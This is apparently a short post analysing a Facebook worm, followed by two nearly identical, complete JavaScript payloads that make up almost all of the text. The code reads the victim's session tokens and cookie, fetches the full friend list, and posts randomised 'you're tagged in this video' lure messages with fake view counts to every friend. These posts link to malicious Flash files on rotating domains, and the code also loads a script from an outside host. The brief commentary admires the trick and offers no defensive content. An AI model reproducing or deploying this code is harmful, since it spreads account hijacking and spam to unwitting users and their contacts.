The two scripts that post the videos are chosen at random. Intelligent ruse so the generated wall message is at random. However, one pitfall is that this guy did not put a limit on the number of friends it posts to. I saw this friend's home page. Almost all her friends got it.
Chosen at random Script #1
var message = ""; /* generated */
var caption = "www.youtube.com";
var description = "";
var name = "Youtube Video";
var img = "https://i.imgur.com/NlMK1.png";
//var gw = "https://gateway.wfnetwork.com/widget/contentBlocker.js.php?i=1013"; /* jc */
var gw = "https://www.creepsweepers.info/locked.js";
var url = "https://banfish.info/boom.swf";
var flashvars = "bgimg=i.imgur.com/o0LtR.png&bgimg2=i.imgur.com/lEANf.png&img=i.imgur.com/NlMK1.png&instructX=60&instructY=100&retarded=true&name=&description=&caption=&message=&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013"; /* don't need these anymore */
var length = "2:34";
/* message spinner */
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];
/* domain spinner */
var domains = ['banfish.info', 'craneland.info','fliptrip.info'];
/* utilities */
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr){
return arr[getRandomInt(0, arr.length-1)];
}
function addCommas(nStr)
{
nStr += '';
x = nStr.split('.');
x1 = x[0];
x2 = x.length > 1 ? '.' + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
return x1 + x2;
}
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];
var domain = randomValue(domains);
url = "https://" + domain + "/boom.swf?" + flashvars;
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
data = eval('(' + gf.responseText.substr(9) + ')');
if(data.error){ }else{
friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
}
}
var did = false;
function done(){
if(!did){
did = true;
var script = document.createElement("script");
script.src = gw;
document.body.appendChild(script);
}
}
done();
function attach(name,val){
return "&feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_media(name,val){
return "&feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_prop(name,val){
return "&feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
var x = 0;
friends.sort(function() {return 0.5 - Math.random()});
var max = friends.length;
/*if(max >= 50) max = 50; */
for(var i=0; i<max; i++){
message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
var httpwp = new XMLHttpRequest();
var viewCount = getRandomInt(843, 7434);
var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
var paramswp = "&__d=1&app_id=6628568379&extern=0" +
"&post_form_id=" + post_form_id +
"&fb_dtsg=" + fb_dtsg +
/*"&feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +
"&feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */
"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
"&user_message=" + encodeURIComponent(message) +
attach("caption", caption) +
attach("description", description) +
attach("name", name) +
attach_prop("Views", addCommas(viewCount)) +
attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) +
attach_media("type", "flash") +
attach_media("swfsrc", url) +
attach_media("imgsrc", img) +
attach_media("flashvars", flashvars);
if(length) paramswp += attach_prop("Length", length);
httpwp.open("POST", urlwp, true);
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function(){
if (httpwp.readyState == 4){
x++;
if(x >= friends.length -1){
done();
}
}
};
httpwp.send(paramswp);
}
Chosen at Random Script #2:
var message = ""; /* generated */
var caption = "www.youtube.com";
var description = "";
var name = "Youtube Video";
var img = "https://i.imgur.com/NlMK1.png";
var gw = "https://gateway.wfnetwork.com/widget/contentBlocker.js.php?i=1013"; /* jc */
//var gw = "https://www.creepsweepers.info/locked.js"; /* jc */
var url = "https://banfish.info/boom.swf";
var flashvars = "bgimg=i.imgur.com/o0LtR.png&bgimg2=i.imgur.com/lEANf.png&img=i.imgur.com/NlMK1.png&instructX=60&instructY=100&retarded=true&name=&description=&caption=&message=&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013"; /* don't need these anymore */
var length = "2:34";
/* message spinner */
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];
/* domain spinner */
var domains = ['banfish.info', 'craneland.info','fliptrip.info'];
/* utilities */
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr){
return arr[getRandomInt(0, arr.length-1)];
}
function addCommas(nStr)
{
nStr += '';
x = nStr.split('.');
x1 = x[0];
x2 = x.length > 1 ? '.' + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
return x1 + x2;
}
var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
var p3 = ['in this video', 'in this vid'];
var domain = randomValue(domains);
url = "https://" + domain + "/boom.swf?" + flashvars;
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
data = eval('(' + gf.responseText.substr(9) + ')');
if(data.error){ }else{
friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
}
}
var did = false;
function done(){
if(!did){
did = true;
var script = document.createElement("script");
script.src = gw;
document.body.appendChild(script);
}
}
done();
function attach(name,val){
return "&feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_media(name,val){
return "&feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
function attach_prop(name,val){
return "&feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
}
var x = 0;
friends.sort(function() {return 0.5 - Math.random()});
var max = friends.length;
/*if(max >= 50) max = 50; */
for(var i=0; i<max; i++){
message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
var httpwp = new XMLHttpRequest();
var viewCount = getRandomInt(843, 7434);
var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
var paramswp = "&__d=1&app_id=6628568379&extern=0" +
"&post_form_id=" + post_form_id +
"&fb_dtsg=" + fb_dtsg +
/*"&feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +
"&feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */
"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
"&user_message=" + encodeURIComponent(message) +
attach("caption", caption) +
attach("description", description) +
attach("name", name) +
attach_prop("Views", addCommas(viewCount)) +
attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) +
attach_media("type", "flash") +
attach_media("swfsrc", url) +
attach_media("imgsrc", img) +
attach_media("flashvars", flashvars);
if(length) paramswp += attach_prop("Length", length);
httpwp.open("POST", urlwp, true);
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function(){
if (httpwp.readyState == 4){
x++;
if(x >= friends.length -1){
done();
}
}
};
httpwp.send(paramswp);
}